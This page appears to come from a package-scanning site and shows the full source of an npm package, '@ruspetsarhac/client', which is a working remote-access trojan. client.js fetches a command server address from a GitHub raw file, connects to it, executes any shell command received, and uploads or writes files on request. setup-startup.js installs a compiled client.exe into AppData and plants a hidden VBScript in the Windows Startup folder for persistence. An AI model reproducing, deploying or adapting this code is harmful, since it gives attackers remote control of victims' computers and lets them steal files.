@ruspetsarhac/client 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/client.js +146 -0
- package/client.vbs +3 -0
- package/package.json +14 -0
- package/setup-startup.js +33 -0
package/client.js
ADDED
@@ -0,0 +1,146 @@
|
|
1
|
+
const net = require('net');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
const path = require('path');
|
4
|
+
const fs = require('fs');
|
5
|
+
const os = require('os');
|
6
|
+
const https = require('https');
|
7
|
+
|
8
|
+
let currentCwd = process.cwd();
|
9
|
+
let isConnected = false;
|
10
|
+
|
11
|
+
let serverHost = '';
|
12
|
+
let serverPort = 0;
|
13
|
+
|
14
|
+
function fetchServerSettings(callback) {
|
15
|
+
const url = 'https://raw.githubusercontent.com/spetsar97hack/app/main/data.json';
|
16
|
+
https.get(url, (res) => {
|
17
|
+
let data = '';
|
18
|
+
|
19
|
+
res.on('data', (chunk) => {
|
20
|
+
data += chunk;
|
21
|
+
});
|
22
|
+
|
23
|
+
res.on('end', () => {
|
24
|
+
try {
|
25
|
+
const serverSettings = JSON.parse(data);
|
26
|
+
console.log('serverSettings',serverSettings)
|
27
|
+
serverHost = serverSettings.host;
|
28
|
+
serverPort = serverSettings.port;
|
29
|
+
callback(null);
|
30
|
+
} catch (error) {
|
31
|
+
callback(error);
|
32
|
+
}
|
33
|
+
});
|
34
|
+
|
35
|
+
}).on('error', (error) => {
|
36
|
+
callback(error);
|
37
|
+
});
|
38
|
+
}
|
39
|
+
|
40
|
+
function createConnection() {
|
41
|
+
const socket = net.createConnection({ host: serverHost, port: serverPort }, () => {
|
42
|
+
isConnected = true;
|
43
|
+
console.log('Connected to server');
|
44
|
+
});
|
45
|
+
|
46
|
+
socket.on('data', (data) => {
|
47
|
+
const message = data.toString('utf-8').trim();
|
48
|
+
|
49
|
+
if (message.startsWith('SHELL_COMMAND:')) {
|
50
|
+
const command = message.slice('SHELL_COMMAND:'.length).trim();
|
51
|
+
|
52
|
+
if (command.startsWith('cd ')) {
|
53
|
+
const newPath = command.slice(3).trim();
|
54
|
+
const fullPath = path.resolve(currentCwd, newPath);
|
55
|
+
const platform = os.platform();
|
56
|
+
const checkDirCommand = platform === 'win32' ? `cd ${fullPath} && cd` : `cd ${fullPath} && pwd`;
|
57
|
+
|
58
|
+
exec(checkDirCommand, (error, stdout, stderr) => {
|
59
|
+
if (error) {
|
60
|
+
socket.write(`Error changing directory: ${stderr}`);
|
61
|
+
} else {
|
62
|
+
currentCwd = stdout.trim();
|
63
|
+
socket.write(`Changed directory to: ${currentCwd}`);
|
64
|
+
}
|
65
|
+
});
|
66
|
+
} else {
|
67
|
+
exec(command, { cwd: currentCwd }, (error, stdout, stderr) => {
|
68
|
+
if (error) {
|
69
|
+
socket.write(`Error executing command: ${stderr}`);
|
70
|
+
} else {
|
71
|
+
socket.write(`Command output: ${stdout}`);
|
72
|
+
}
|
73
|
+
});
|
74
|
+
}
|
75
|
+
} else if (message.startsWith('DOWNLOAD_FILE:')) {
|
76
|
+
const filePath = message.slice('DOWNLOAD_FILE:'.length).trim();
|
77
|
+
const fullPath = path.resolve(currentCwd, filePath);
|
78
|
+
|
79
|
+
fs.readFile(fullPath, (err, data) => {
|
80
|
+
if (err) {
|
81
|
+
socket.write(`Error reading file: ${err.message}`);
|
82
|
+
} else {
|
83
|
+
const base64Data = data.toString('base64');
|
84
|
+
socket.write(`FILE_CONTENT:${filePath}:${base64Data}`);
|
85
|
+
}
|
86
|
+
});
|
87
|
+
} else if (message.startsWith('FILE_CONTENT:')) {
|
88
|
+
const [_, filePath, fileData] = message.split(':');
|
89
|
+
const fileBuffer = Buffer.from(fileData, 'base64');
|
90
|
+
const fullPath = path.resolve(currentCwd, path.basename(filePath));
|
91
|
+
fs.writeFile(fullPath, fileBuffer, (err) => {
|
92
|
+
if (err) {
|
93
|
+
console.log(`Error saving file: ${err.message}`);
|
94
|
+
} else {
|
95
|
+
console.log(`File saved as: ${fullPath}`);
|
96
|
+
}
|
97
|
+
});
|
98
|
+
} else {
|
99
|
+
console.log(`[Server]: ${message}`);
|
100
|
+
}
|
101
|
+
});
|
102
|
+
|
103
|
+
socket.on('end', () => {
|
104
|
+
isConnected = false;
|
105
|
+
console.log('Connection was ended');
|
106
|
+
});
|
107
|
+
|
108
|
+
socket.on('error', (err) => {
|
109
|
+
isConnected = false;
|
110
|
+
console.log(`[!] Error: ${err.message}`);
|
111
|
+
});
|
112
|
+
|
113
|
+
socket.on('close', () => {
|
114
|
+
isConnected = false;
|
115
|
+
console.log('Connection closed');
|
116
|
+
});
|
117
|
+
|
118
|
+
return socket;
|
119
|
+
}
|
120
|
+
|
121
|
+
let socket = createConnection();
|
122
|
+
|
123
|
+
setInterval(() => {
|
124
|
+
if (!isConnected) {
|
125
|
+
console.log('Attempting to reconnect to the server...');
|
126
|
+
socket = createConnection();
|
127
|
+
}
|
128
|
+
}, 60000);
|
129
|
+
|
130
|
+
fetchServerSettings((error) => {
|
131
|
+
if (error) {
|
132
|
+
console.error(`Error fetching server settings: ${error.message}`);
|
133
|
+
} else {
|
134
|
+
console.log(`Fetched server settings. Host: ${serverHost}, Port: ${serverPort}`);
|
135
|
+
}
|
136
|
+
});
|
137
|
+
|
138
|
+
setInterval(() => {
|
139
|
+
fetchServerSettings((error) => {
|
140
|
+
if (error) {
|
141
|
+
console.error(`Error fetching server settings: ${error.message}`);
|
142
|
+
} else {
|
143
|
+
console.log(`Updated server settings. Host: ${serverHost}, Port: ${serverPort}`);
|
144
|
+
}
|
145
|
+
});
|
146
|
+
}, 300000);
|
package/client.vbs
ADDED
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "@ruspetsarhac/client",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"main": "client.js",
|
5
|
+
"bin": {
|
6
|
+
"client": "./client.js"
|
7
|
+
},
|
8
|
+
"scripts": {
|
9
|
+
"build": "pkg client.js --targets node14-win-x64 --output client.exe"
|
10
|
+
},
|
11
|
+
"author": "spetsar",
|
12
|
+
"license": "ISC"
|
13
|
+
}
|
14
|
+
|
package/setup-startup.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
const fs = require('fs');
|
2
|
+
const path = require('path');
|
3
|
+
const os = require('os');
|
4
|
+
|
5
|
+
// Paths
|
6
|
+
const currentDir = __dirname;
|
7
|
+
const clientExePath = path.resolve(currentDir, 'client.exe');
|
8
|
+
const appDataFolder = path.join(os.homedir(), 'AppData', 'Local', 'MyApp'); // Specify your desired AppData subfolder here
|
9
|
+
const clientExeAppDataPath = path.join(appDataFolder, 'client.exe');
|
10
|
+
const startupFolder = path.join(os.homedir(), 'AppData', 'Roaming', 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup');
|
11
|
+
const vbsScriptPath = path.join(startupFolder, 'client.vbs');
|
12
|
+
|
13
|
+
// Ensure the client.exe exists
|
14
|
+
if (!fs.existsSync(clientExePath)) {
|
15
|
+
console.error(`client.exe not found at ${clientExePath}`);
|
16
|
+
process.exit(1);
|
17
|
+
}
|
18
|
+
|
19
|
+
// Ensure the AppData subfolder exists
|
20
|
+
if (!fs.existsSync(appDataFolder)) {
|
21
|
+
fs.mkdirSync(appDataFolder, { recursive: true });
|
22
|
+
}
|
23
|
+
|
24
|
+
// Create the VBScript content
|
25
|
+
const vbsContent = `Set WshShell = CreateObject("WScript.Shell")\nWshShell.Run chr(34) & "${clientExeAppDataPath.replace(/\\/g, '\\\\')}" & Chr(34), 0\nSet WshShell = Nothing`;
|
26
|
+
|
27
|
+
// Write the VBScript file to the startup folder
|
28
|
+
fs.writeFileSync(vbsScriptPath, vbsContent, 'utf8');
|
29
|
+
|
30
|
+
// Copy the client.exe file to the AppData subfolder
|
31
|
+
fs.copyFileSync(clientExePath, clientExeAppDataPath);
|
32
|
+
|
33
|
+
console.log('client.exe has been copied to the AppData folder and client.vbs has been added to the startup folder.');
|